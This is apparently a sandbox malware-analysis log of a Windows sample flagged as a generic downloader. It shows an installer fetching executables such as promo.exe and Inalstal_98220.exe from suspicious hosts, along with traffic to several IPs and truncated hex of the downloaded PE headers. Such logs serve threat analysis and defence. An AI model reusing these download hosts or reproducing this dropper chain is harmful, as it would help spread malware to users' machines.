Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 1203

Yara detected Generic Downloader

Source: Yara match

File source: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp, type: DROPPED

Source: unknown

Network traffic detected: DNS query count 31

Source: global traffic	TCP traffic: 192.168.2.5:49718 -> 95.142.47.11:1203
Source: global traffic	TCP traffic: 192.168.2.5:50183 -> 195.154.62.146:8080
Source: global traffic	TCP traffic: 192.168.2.5:50184 -> 212.83.158.215:8080
Source: global traffic	TCP traffic: 192.168.2.5:50185 -> 62.210.9.152:8080
Source: global traffic	TCP traffic: 192.168.2.5:50245 -> 77.105.136.3:81

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:33:21 GMTContent-Type: application/octet-streamContent-Length: 4724720Last-Modified: Mon, 24 Jul 2023 06:14:10 GMTConnection: keep-aliveETag: "64be16b2-4817f0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 e7 ac 00 92 86 c2 53 92 86 c2 53 92 86 c2 53 41 f4 c1 52 9f 86 c2 53 41 f4 c7 52 2b 86 c2 53 41 f4 c4 52 93 86 c2 53 f0 fe c6 52 81 86 c2 53 f0 fe c1 52 8a 86 c2 53 f0 fe c7 52 fa 86 c2 53 41 f4 c6 52 88 86 c2 53 41 f4 c3 52 91 86 c2 53 41 f4 c5 52 93 86 c2 53 92 86 c3 53 4f 84 c2 53 12 ff cb 52 df 87 c2 53 12 ff 3d 53 93 86 c2 53 92 86 55 53 93 86 c2 53 12 ff c0 52 93 86 c2 53 52 69 63 68 92 86 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 47 fb 67 62 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 1f 00 ae 21 00 00 ee 0d 00 00 00 00 00 44 9e 19 00 00 10 00 00 00 c0 21 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 27 f7 48 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 19 2a 00 28 00 00 00 00 c0 2a 00 c0 bc 02 00 00 00 00 00 00 00 00 00 78 fc 47 00 78 1b 00 00 00 80 2d 00 18 5b 02 00 18 ab 24 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ab 24 00 18 00 00 00 a8 df 21 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 21 00 cc 02 00 00 18 ed 29 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1f ad 21 00 00 10 00 00 00 ae 21 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 69 08 00 00 c0 21 00 00 6a 08 00 00 b2 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 8b 00 00 00 30 2a 00 00 6a 00 00 00 1c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 bc 02 00 00 c0 2a 00 00 be 02 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 02 00 00 80 2d 00 00 5c 02 00 00 44 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:33:45 GMTContent-Type: application/x-msdos-programContent-Length: 1247744Connection: keep-aliveVary: User-AgentLast-Modified: Sat, 02 Dec 2023 03:41:44 GMTETag: "130a00-60b7ea9eab3a0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 44 a7 6a 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 5a 09 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 13 00 00 04 00 00 bb ab 13 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 24 9e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 12 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 24 9e 05 00 00 40 0d 00 00 a0 05 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 12 00 00 76 00 00 00 94 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:34:53 GMTContent-Type: application/octet-streamContent-Length: 2713088Connection: keep-aliveContent-Disposition: attachment; filename=promo.exeData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 da fa 65 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 94 06 00 00 8c 03 00 00 00 00 00 00 50 6a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 6a 00 00 04 00 00 f0 74 29 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 60 0a 00 95 00 00 00 00 30 08 00 6a 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 0a 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 08 00 00 10 00 00 00 6e 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6a 24 02 00 00 30 08 00 00 10 01 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 0a 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 3b 00 00 70 0a 00 00 02 00 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 62 65 79 74 7a 6b 00 e0 24 00 00 70 45 00 00 d2 24 00 00 92 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6b 7a 6e 70 66 74 62 00 10 00 00 00 50 6a 00 00 02 00 00 00 64 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 06 Dec 2023 13:35:39 GMTContent-Type: application/octet-streamContent-Length: 2590208Connection: keep-aliveContent-Disposition: attachment; filename=promo.exeData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 d8 8f fd b9 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 bc 04 00 00 38 03 00 00 00 00 00 00 c0 51 00 00 20 00 00 00 e0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 51 00 00 04 00 00 35 46 28 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 20 08 00 95 00 00 00 00 e0 04 00 56 35 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 21 08 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 04 00 00 20 00 00 00 d8 01 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 56 35 03 00 00 e0 04 00 00 f4 02 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 20 08 00 00 02 00 00 00 ec 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 26 00 00 40 08 00 00 02 00 00 00 ee 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 77 64 61 69 6f 6e 6e 00 a0 22 00 00 20 2f 00 00 94 22 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 67 70 69 75 76 69 00 20 00 00 00 c0 51 00 00 02 00 00 00 84 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 104.21.32.100 104.21.32.100

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49715 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Code function: 4_2_10002A20 InternetReadFile,_fwrite,

4_2_10002A20

Source: global traffic	HTTP traffic detected: GET /ss.php?a=3890&cc=US&t=1701869569 HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: false.apparelsilver.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /win/Inalstal_98220.exe HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: www.agenment.cloudConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gsFLpk9WD8mr+vo&MD=y8Xsl23L HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598 HTTP/1.1Host: axsboe-campaign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_PukjvzWvVsvIJFh4xJhtXA2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /updates.txt HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: allroadslimit.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updates/v114.exe HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: dl.likeasurfer.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updates/v113.exe HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: dl.likeasurfer.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gsFLpk9WD8mr+vo&MD=y8Xsl23L HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
